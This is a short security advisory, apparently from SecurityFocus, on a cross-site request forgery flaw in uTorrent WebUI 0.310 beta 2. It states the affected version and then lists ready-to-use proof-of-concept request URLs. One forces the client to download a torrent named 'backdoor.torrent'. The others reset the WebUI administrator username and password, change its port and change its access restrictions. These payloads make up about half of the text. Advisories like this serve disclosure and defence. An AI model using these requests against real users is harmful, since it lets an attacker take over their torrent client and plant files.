15 lines
No EOL
822 B
Text
15 lines
No EOL
822 B
Text
source: http://www.securityfocus.com/bid/28847/info
|
|
|
|
uTorrent WebUI is prone to a cross-site request-forgery vulnerability.
|
|
|
|
Exploiting this issue may allow a remote attacker to execute arbitrary actions in the context of the affected application.
|
|
|
|
uTorrent WebUI 0.310 beta 2 is vulnerable; other versions may also be affected.
|
|
|
|
To force a file download:
|
|
http://www.example.com:8080/gui/?action=add-url&s=http://localhost/backdoor.torrent
|
|
|
|
To change administrative credentials and settings:
|
|
http://www.example.com:8080/gui/?action=setsetting&s=webui.username&v=badmin
|
|
http://www.example.com:8080/gui/?action=setsetting&s=webui.password&v=badmin
|
|
http://www.example.com:8080/gui/?action=setsetting&s=webui.port&v=4096 http://www.example.com:8080/gui/?action=setsetting&s=webui.restrict&v=127.0.0.1/24,10.1.1.1 |